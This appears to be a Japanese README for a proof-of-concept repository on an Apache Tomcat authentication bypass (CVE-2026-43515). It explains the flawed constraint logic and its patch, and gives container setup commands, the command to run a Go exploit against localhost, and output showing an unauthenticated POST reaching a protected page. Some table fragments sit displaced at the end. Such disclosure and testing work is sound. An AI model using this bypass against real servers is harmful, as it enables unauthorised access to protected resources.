
CVE-2026-43515(Apache Tomcat の制約バイパス)に対する悪用可能性を実証する PoC。
悪用可能性の判定: 悪用可能であることが確認済み。分割された
<web-resource-collection>構成によって保護されているリソースへの POST リクエストは、認証を完全にバイパスします。必要なweb.xmlの形状は標準的な デプロイメントではまれです。詳細は 分析 を参照してください。
CVE-2026-43515 は、Apache Tomcat のセキュリティ制約評価ロジックにおける脆弱性です。単一の <security-constraint> が複数の <web-resource-collection> ブロックを定義し、それらが同じ URL 拡張子パターン(例: *.html)を共有しながら、それぞれ異なる HTTP メソッドを宣言している場合、Tomcat は最初に一致したコレクションで宣言された HTTP メソッドに対してのみ制約を適用します。後続のコレクションはすべて暗黙に無視されます。
管理者の意図:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
修正前の Tomcat が実際に適用する動作:
GET *.html → 401 — 制約が適用される ✓POST *.html → 200 — 制約が暗黙に無視される ✗| 影響を受ける範囲 | 修正バージョン |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 |
このバグは org.apache.catalina.realm.RealmBase の findSecurityConstraints(Request, Context) に存在します。matched フラグと pos インデックスは、コレクションごとのループの外側で宣言されていました:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
collection[0] が拡張子パターン *.html に一致すると、pos は 0 に固定されました。したがって、findMethod("POST") の呼び出しは collection[0](GET のみを宣言)に対して実行され、false を返しました。POST リクエストに対して results に制約は追加されず、AuthenticatorBase はそのリクエストがいかなる制約の対象でもないと結論付けました。
修正(コミット 276087d)では、matched をループ内に移動し、collection[pos] を collection[j] に置き換えることで、すべてのコレクションが独立して評価されます:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
このバイパスは確認済みであり、再現可能です。Tomcat の verbose ログにより、そのメカニズムは明白になります:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
この脆弱性は、特定の web.xml パターンでのみ発動します。単一の <security-constraint> に、同じ拡張子パターンを共有しながら異なる HTTP メソッドを宣言する複数の <web-resource-collection> ブロックが含まれている場合です。
この構成は Servlet 仕様上は有効ですが、実際にはまれです。ほとんどのデプロイメントでは、次のいずれかです:
<http-method> を完全に省略する(すべてのメソッドを保護する)、または<security-constraint> ブロックを使用する拡張子パターンに対してメソッド単位のきめ細かいアクセス制御を適用するために分割コレクションパターンを使用しているデプロイメントは、影響を受けます。
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| ツール | バージョン | 備考 |
|---|---|---|
| Podman | ≥ 4.0 | Docker でも動作します |
| Go | ≥ 1.22 | エクスプロイトをローカルで実行するため |
外部の Go 依存関係はありません。
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
数秒待ってから、確認します:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
利用可能なフラグ:
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| リソース | リンク |
|---|---|
| 修正コミット — 11.0.x | apache/tomcat@276087d |
| 完全な分析 — ブログ記事 | return-zero.dev/posts/cve-2026-43515 |
このリポジトリは、教育目的とローカルでの悪用可能性分析のみを意図しています。すべてのテストは、自己ホスト型のコンテナ環境に対して実施されました。この PoC を、所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対して実行しないでください。
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| フラグ | デフォルト | 説明 |
|---|
-target | http://localhost:8080 | Tomcat のベース URL |
-path | /protected/secret.html | 保護されたリソースのパス |
-username | validuser | 正常性チェック用の有効なユーザー名 |
-password | s3cret! | 正常性チェック用のパスワード |